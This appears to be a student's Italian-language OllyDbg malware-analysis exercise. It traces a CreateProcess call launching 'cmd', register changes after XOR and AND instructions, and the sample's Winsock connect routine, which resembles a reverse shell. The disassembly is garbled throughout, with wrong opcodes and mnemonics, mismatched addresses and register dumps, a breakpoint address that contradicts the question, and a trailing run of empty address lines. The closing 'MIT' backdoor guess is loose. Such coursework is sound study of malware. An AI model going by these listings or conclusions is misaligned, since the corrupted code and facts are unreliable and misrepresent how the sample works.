

# Analisi dinamica avanzata con OllyDBG

Ernesto Robles

Facendo riferimento al file “Esercizio\_Pratico\_U3\_W3\_L3” sul desktop della macchina virtuale dedicata all’analisi dei malware. Rispondere ai seguenti quesiti utilizzando OllyDBG.

- (1) All’indirizzo 0040106E il Malware effettua una chiamata di funzione alla funzione «CreateProcess». Qual è il valore del parametro «CommandLine» che viene passato sullo stack?
- (2) Inserire un breakpoint software all’indirizzo 004015A3. Qual è il valore del registro EDX? (2.1)Eseguite a questo punto uno «step-into». Indicare qual è ora il valore del registro EDX motivando la risposta . Che istruzione è stata eseguita?
- (3) Inserire un secondo breakpoint all’indirizzo di memoria 004015AF. Qual è il valore del registro ECX? (3.1) Eseguire un step-into. Qual è ora il valore di ECX? Spiegare quale istruzione è stata eseguita .

BONUS: spiegare a grandi linee il funzionamento del malware

1) Il valore del parametro «CommandLine» che viene passato sullo stack è “cmd”

00401061	. 6A 01	PUSH 1	InheritHandles = TRUE
00401063	. 6A 00	PUSH 0	pThreadSecurity = NULL
00401065	. 6A 00	PUSH 0	pProcessSecurity = NULL
00401067	. 68 30504000	PUSH Malware_.00405030	CommandLine = "cmd"
0040106C	. 6A 00	PUSH 0	ModuleFileName = NULL
0040106E	. FF15 04404000	CALL DWORD PTR DS:[<&KERNEL32.CreatePro	CreateProcessA
00401074	. 8945 EC	MOV DWORD PTR SS:[EBP-14],EAX	
00401077	. 6A FF	PUSH -1	Timeout = INFINITE
00401079	. 8B4D F0	MOV ECX,DWORD PTR SS:[EBP-10]	
0040107C	. 51	PUSH ECX	hObject
0040107D	. FF15 00404000	CALL DWORD PTR DS:[<&KERNEL32.WaitForSi	WaitForSingleObject
00401083	. 33C0	XOR EAX,EAX	
00401085	. 8BE5	MOV ESP,EBP	

2)Inserito un breakpoint software all’indirizzo 004015A3, possiamo vedere come il valore del registro EDX è 00000A28.

00401568	. 74 04	JE SHORT Malware_.00401571	
0040156D	. 33C0	XOR EAX,EAX	
0040156F	. EB 02	JMP SHORT Malware_.00401573	
00401571	. 8BC7	MOV EAX,EDI	
00401573	. FC	CLO	
00401574	. 5F	POP EDI	
00401575	. C9	LEAVE	
00401576	. C3	RETN	
00401577	. 55	PUSH EBP	
00401578	. 8BEC	MOV EBP,ESP	
0040157A	. 6A FF	PUSH -1	
0040157C	. 68 30404000	PUSH Malware_.004040C0	
00401581	. 68 30204000	PUSH Malware_.0040203C	
00401586	. 64:A1 00000000	MOV EAX,DWORD PTR FS:[0]	SE handler installation
0040158C	. 50	PUSH EAX	
0040158D	. 64:8925 000000	MOV DWORD PTR FS:[0],ESP	
00401594	. 8BEC 10	SUB ESP,10	
00401597	. 53	PUSH EBX	
00401598	. 56	PUSH ESI	
00401599	. 57	PUSH EDI	
0040159A	. 8965 E8	MOV DWORD PTR SS:[EBP-10],ESP	
0040159D	. FF15 30404000	CALL DWORD PTR DS:[<&KERNEL32.GetVersion	kernel32.GetVersion
004015A3	. 33D2	XOR EDX,EDX	
004015A5	. 8404	MOV DL,AH	
004015A7	. 8915 D4524000	MOV DWORD PTR DS:[4052D4],EDX	
004015AD	. 8BC8	MOV ECX,EAX	
004015AF	. 81E1 FF000000	AND ECX,0FF	
004015B5	. 8900 D8524000	MOV DWORD PTR DS:[4052D8],ECX	

EAX	0A280105
ECX	7FFDF000
EDX	00000A28
EBX	7FFDF000
ESP	0012FF94
EBP	0012FFC0
ESI	FFFFFFFF
EIP	7C910208 ntdll.7C910208
EIP	004015A3 Malware_.004015A3
C 0	ES 0023 32bit 0(FFFFFFFF)
P 1	CS 0018 32bit 0(FFFFFFFF)
A 0	SS 0023 32bit 0(FFFFFFFF)
Z 0	DS 0023 32bit 0(FFFFFFFF)
S 0	FS 002B 32bit 7FFDE000(FFF)
T 0	GS 0000 NULL
D 0	
O 0	LastErr ERROR_INVALID_HANDLE (00000006)
EFL	00000206 (NO,NB,NE,A,NS,PE,GE,G)
ST0	empty -UNORM BCBC 01050104 005C0030
ST1	empty -UNORM 0069 006E0069 002E0067
ST2	empty 0.0
ST3	empty 0.0
ST4	empty 0.0
ST5	empty 0.0
ST6	empty 0.0
ST7	empty 0.0

2.1)Eseguito a questo punto uno «step-into», si nota come il valore del registro EDX è 00000000 in quanto la funzione “XOR EDX, EDX” restituisce 0 se i due operandi sono guali, come si vede qui nell’immagine .

00401569  
0040156B  
0040156D  
0040156F  
00401571  
00401573  
00401574  
00401575  
00401576  
00401577  
00401578  
0040157A  
0040157C  
00401581  
00401586  
0040158C  
0040158D  
00401594  
00401597  
00401598  
00401599  
0040159A  
0040159D  
004015A3  
004015A5  
004015A7

3907  
74 04  
3C09  
EB 02  
8BC7  
FC  
5F  
C9  
C3  
55  
8BEC  
6A FF  
68 C0404000  
68 3C204000  
64:R1 00000000  
50  
64:8925 000000  
83EC 10  
53  
56  
57  
8965 E8  
FF15 30404000  
33D2  
8A04  
8915 04524000

CMP BYTE PTR DS:[EDI],HL  
JE SHORT Malware\_.00401571  
XOR EAX, EAX  
JMP SHORT Malware\_.00401573  
MOV EAX, EDI  
CLD  
POP EDI  
LEAVE  
RETN  
PUSH EBP  
MOV EBP, ESP  
PUSH -1  
PUSH Malware\_.004040C0  
PUSH Malware\_.0040203C  
MOV EDI, DWORD PTR FS:[0]  
PUSH EAX  
MOV DWORD PTR FS:[0], ESP  
SUB ESP, 10  
PUSH EAX  
PUSH ESI  
PUSH EDI  
MOV DWORD PTR SS:[EBP-10], ESP  
CALL DWORD PTR DS:[<&KERNEL32.GetVersion  
XOR EDX, EDX  
MOV DL, AH  
MOV DWORD PTR DS:[4052D4], EDX

SE handler installation  
  
  
  
  
  
  
  
  
  
kernel32.GetVersion

Registers (FPU)

EAX 0A280105  
ECX 7FFDF000  
EDX 00000000  
EBX 7FFDF000  
ESP 0012FF94  
EBP 0012FFC0  
ESI FFFFFFFF  
EDI 7C910208 ntdll.7C910208  
EIP 004015A5 Malware\_.004015A5

C 0 ES 0023 32bit 0(FFFFFFFF)  
P 1 CS 001B 32bit 0(FFFFFFFF)  
A 0 SS 0023 32bit 0(FFFFFFFF)  
Z 1 DS 0023 32bit 0(FFFFFFFF)  
S 0 FS 003B 32bit 7FFDF000(FFF)  
T 0 GS 0000 NULL  
O 0  
D 0 LastErr ERROR\_INVALID\_HANDLE  
EFL 00000246 (NO,NB,E,BE,NS,PE,G)  
ST0 empty -UNORM BCBC 01050104 0  
ST1 empty +UNORM 0069 006E0069 0  
ST2 empty 0.0  
ST3 empty 0.0  
ST4 empty 0.0

3)Inserito un breakpointsoftware all’indirizzo 004015A3, possiamo vedere come il valore del registro ECX è 0A280105.

00401577  
00401578  
0040157A  
0040157C  
00401581  
00401586  
0040158C  
0040158D  
00401594  
00401597  
00401598  
00401599  
0040159A  
0040159D  
004015A3  
004015A5  
004015A7  
004015A8  
004015B5  
004015B8  
004015BE  
004015C0

55  
8BEC  
6A FF  
68 C0404000  
68 3C204000  
64:R1 00000000  
50  
64:8925 000000  
83EC 10  
53  
56  
57  
8965 E8  
FF15 30404000  
33D2  
8A04  
8915 04524000  
8BC8  
81E1 FF000000  
8900 00524000  
C1E1 08  
03CA  
8900 CC524000

PUSH EBP  
MOV EBP, ESP  
PUSH -1  
PUSH Malware\_.004040C0  
PUSH Malware\_.0040203C  
MOV EDI, DWORD PTR FS:[0]  
PUSH EAX  
MOV DWORD PTR FS:[0], ESP  
SUB ESP, 10  
PUSH EAX  
PUSH ESI  
PUSH EDI  
MOV DWORD PTR SS:[EBP-10], ESP  
CALL DWORD PTR DS:[<&KERNEL32.GetVersion  
XOR EDX, EDX  
MOV DL, AH  
MOV DWORD PTR DS:[4052D4], EDX  
MOV ECX, EAX  
AND ECX, 0FF  
MOV DWORD PTR DS:[4052D0], ECX  
SHL ECX, 8  
ADD ECX, EDX  
MOV DWORD PTR DS:[4052CC], ECX

SE handler installation  
  
  
  
  
  
  
  
  
  
kernel32.GetVersion

Registers (FPU)

EAX 0A280105  
ECX 0A280105  
EDX 00000001  
EBX 7FFDF000  
ESP 0012FF94  
EBP 0012FFC0  
ESI FFFFFFFF  
EDI 7C910208 ntdll.7C910208  
EIP 004015A6 Malware\_.004015A6

C 0 ES 0023 32bit 0(FFFFFFFF)  
P 1 CS 001B 32bit 0(FFFFFFFF)  
A 0 SS 0023 32bit 0(FFFFFFFF)  
Z 1 DS 0023 32bit 0(FFFFFFFF)  
S 0 FS 003B 32bit 7FFDF000(FFF)  
T 0 GS 0000 NULL  
O 0  
D 0 LastErr ERROR\_INVALID\_HANDLE (00000006)  
EFL 00000246 (NO,NB,E,BE,NS,PE,GE,LE)  
ST0 empty -UNORM BCBC 01050104 005C0030  
ST1 empty +UNORM 0069 006E0069 005C0030

3.1)Eseguito a questo punto uno «step-into», si nota come il valore del registro ECX è 00000005 dopo la funzione “AND ECX, 0FF” esegue l'operazione logica AND bit a bit tra due operandi e restituirà 1 solo se entrambi i bit corrispondenti nei due operandi sono impostati su 1 altrimenti il risultato sarà 0. Nell’immagine possiamo vedere come si azzerano tutti i valori tranne gli ultimi 8 bit.

00401577  
00401578  
0040157A  
0040157C  
00401581  
00401586  
0040158C  
0040158D  
00401594  
00401597  
00401598  
00401599  
0040159A  
0040159D  
004015A3  
004015A5  
004015A7  
004015A8  
004015B5  
004015B8  
004015BE  
004015C0

55  
8BEC  
6A FF  
68 C0404000  
68 3C204000  
64:R1 00000000  
50  
64:8925 000000  
83EC 10  
53  
56  
57  
8965 E8  
FF15 30404000  
33D2  
8A04  
8915 04524000  
8BC8  
81E1 FF000000  
8900 00524000  
C1E1 08  
03CA  
8900 CC524000

PUSH EBP  
MOV EBP, ESP  
PUSH -1  
PUSH Malware\_.004040C0  
PUSH Malware\_.0040203C  
MOV EDI, DWORD PTR FS:[0]  
PUSH EAX  
MOV DWORD PTR FS:[0], ESP  
SUB ESP, 10  
PUSH EAX  
PUSH ESI  
PUSH EDI  
MOV DWORD PTR SS:[EBP-10], ESP  
CALL DWORD PTR DS:[<&KERNEL32.GetVersion  
XOR EDX, EDX  
MOV DL, AH  
MOV DWORD PTR DS:[4052D4], EDX  
MOV ECX, EAX  
AND ECX, 0FF  
MOV DWORD PTR DS:[4052D0], ECX  
SHL ECX, 8  
ADD ECX, EDX  
MOV DWORD PTR DS:[4052CC], ECX

SE handler installation  
  
  
  
  
  
  
  
  
  
kernel32.GetVersion

Registers (FPU)

EAX 0A280105  
ECX 00000005  
EDX 00000001  
EBX 7FFDF000  
ESP 0012FF94  
EBP 0012FFC0  
ESI FFFFFFFF  
EDI 7C910208 ntdll.7C910208  
EIP 004015B5 Malware\_.004015B5

C 0 ES 0023 32bit 0(FFFFFFFF)  
P 1 CS 001B 32bit 0(FFFFFFFF)  
A 0 SS 0023 32bit 0(FFFFFFFF)  
Z 0 DS 0023 32bit 0(FFFFFFFF)  
S 0 FS 003B 32bit 7FFDF000(FFF)  
T 0 GS 0000 NULL  
O 0  
D 0 LastErr ERROR\_INVALID\_HANDLE  
EFL 00000206 (NO,NB,NE,A,NS,PE,G)  
ST0 empty -UNORM BCBC 01050104 0  
ST1 empty +UNORM 0069 006E0069 0

Analizzando ulteriormente il codice del Malware troviamo funzioni socket che potrebbe essere usato come backdoor per attacchi come MIT.

00401259	. 8085 68FEFFFF	LEA EAX,DWORD PTR SS:[EBP-198]	[pWSAData RequestedVersion = 202 (2.2.) WSAStartup
0040125F	. 50	PUSH EAX	
00401260	. 68 02020000	PUSH 202	[Flags = 0 Group = 0 pWSAProtocol = NULL Protocol = IPPROTO_TCP Type = SOCK_STREAM Family = AF_INET WSASocketA
00401265	. FF15 9C404000	CALL DWORD PTR DS:[<&WS2_32.#115>]	
0040126B	. 8985 4CFEFFFF	MOV DWORD PTR SS:[EBP-1B4],EAX	
00401271	. 83BD 4CFEFFFF	CMP DWORD PTR SS:[EBP-1B4],0	
00401278	~74 0A	JE SHORT Malware_.00401284	
0040127A	. B8 01000000	MOV EAX,1	
0040127F	~E9 52010000	JMP Malware_.004013D6	
00401284	> 6A 00	PUSH 0	
00401286	. 6A 00	PUSH 0	
00401288	. 6A 00	PUSH 0	
0040128A	. 6A 06	PUSH 6	
0040128C	. 6A 01	PUSH 1	
0040128E	. 6A 02	PUSH 2	
00401290	. FF15 A0404000	CALL DWORD PTR DS:[<&WS2_32.WSASocketA	[Arg2 Arg1 Malware_.00401089
00401296	. 8985 FCFCFFFF	MOV DWORD PTR SS:[EBP-304],EAX	
0040129C	. 83BD FCFCFFFF	CMP DWORD PTR SS:[EBP-304],-1	
004012A8	~75 0A	JNZ SHORT Malware_.004012AF	
004012A5	. B8 01000000	MOV EAX,1	
004012AA	~E9 27010000	JMP Malware_.004013D6	
004012AF	> 808D 10FEFFFF	LEA ECX,DWORD PTR SS:[EBP-1F0]	
004012B5	. 51	PUSH ECX	
004012B6	. 9095 50FEFFFF	LEA EDX,DWORD PTR SS:[EBP-1B0]	
004012BC	. 52	PUSH EDX	
004012BD	. E8 C7FDFFFF	CALL Malware_.00401089	[Name gethostbyname
004012C2	. 83C4 08	ADD ESP,8	
004012C5	. 8945 F8	MOV DWORD PTR SS:[EBP-8],EAX	
004012C8	. 8B45 F8	MOV EAX,DWORD PTR SS:[EBP-8]	
004012CB	. 50	PUSH EAX	
004012CC	. FF15 A4404000	CALL DWORD PTR DS:[<&WS2_32.#52>]	
004012D2	. 8985 44FEFFFF	MOV DWORD PTR SS:[EBP-1BC],EAX	
004012D8	. 83BD 44FEFFFF	CMP DWORD PTR SS:[EBP-1BC],0	
004012DF	~75 23	JNZ SHORT Malware_.00401304	
004012E1	. 8B8D FCFCFFFF	MOV ECX,DWORD PTR SS:[EBP-304]	
004012E7	. 51	PUSH ECX	[Socket closesocket WSACleanup Timeout = 30000. ms Sleep
004012E8	. FF15 A8404000	CALL DWORD PTR DS:[<&WS2_32.#3>]	
004012EE	. FF15 AC404000	CALL DWORD PTR DS:[<&WS2_32.#116>]	
004012F4	. 68 30750000	PUSH 7530	
004012F9	. FF15 08404000	CALL DWORD PTR DS:[<&KERNEL32.Sleep>]	
004012FF	~E9 48FEFFFF	JMP Malware_.0040124C	
00401304	> 8B95 44FEFFFF	MOV EDX,DWORD PTR SS:[EBP-1BC]	
0040130A	. 8B42 0C	MOV EAX,DWORD PTR DS:[EDX+C]	
0040130D	. 8B08	MOV ECX,DWORD PTR DS:[EAX]	
0040130F	. 8B11	MOV EDX,DWORD PTR DS:[ECX]	
00401311	. 8995 38FEFFFF	MOV DWORD PTR SS:[EBP-1C8],EDX	[NetShort = 270F ntchs
00401317	. 68 0F270000	PUSH 270F	
0040131C	. FF15 B0404000	CALL DWORD PTR DS:[<&WS2_32.#9>]	
00401322	. 66:8985 36FEFF	MOV WORD PTR SS:[EBP-1CA],AX	
00401329	. 66:C785 34FEFF	MOV WORD PTR SS:[EBP-1CC],2	
00401332	. 6A 10	PUSH 10	
00401334	. 9085 34FEFFFF	LEA EAX,DWORD PTR SS:[EBP-1CC]	
0040133A	. 50	PUSH EAX	
0040133B	. 8B8D FCFCFFFF	MOV ECX,DWORD PTR SS:[EBP-304]	
00401341	. 51	PUSH ECX	
00401342	. FF15 B4404000	CALL DWORD PTR DS:[<&WS2_32.#4>]	[AddrLen = 10 (16.) pSockAddr Socket connect
00401348	. 8985 4CFEFFFF	MOV DWORD PTR SS:[EBP-1B4],EAX	
0040134E	. 83BD 4CFEFFFF	CMP DWORD PTR SS:[EBP-1B4],-1	
00401355	~75 23	JNZ SHORT Malware_.0040137A	
00401357	. 8B95 FCFCFFFF	MOV EDX,DWORD PTR SS:[EBP-304]	
0040135D	. 52	PUSH EDX	
0040135F	. FF15 B8404000	CALL DWORD PTR DS:[<&WS2_32.#3>]	
00401365			
00401367			
00401369			
0040136B			
0040136D			
0040136F			
00401371			
00401373			
00401375			
00401377			
00401379			
0040137B			
0040137D			
0040137F			
00401381			
00401383			
00401385			
00401387			
00401389			
0040138B			
0040138D			
0040138F			
00401391			
00401393			
00401395			
00401397			
00401399			
0040139B			
0040139D			
0040139F			
004013A1			
004013A3			
004013A5			
004013A7			
004013A9			
004013AB			
004013AD			
004013AF			
004013B1			
004013B3			
004013B5			
004013B7			
004013B9			
004013BB			
004013BD			
004013BF			
004013C1			
004013C3			
004013C5			
004013C7			
004013C9			
004013CB			
004013CD			
004013CF			
004013D1			
004013D3			
004013D5			
004013D7			
004013D9			
004013DB			
004013DD			
004013DF			
004013E1			
004013E3			
004013E5			
004013E7			
004013E9			
004013EB			
004013ED			
004013EF			
004013F1			
004013F3			
004013F5			
004013F7			
004013F9			
004013FB			
004013FD			
004013FF			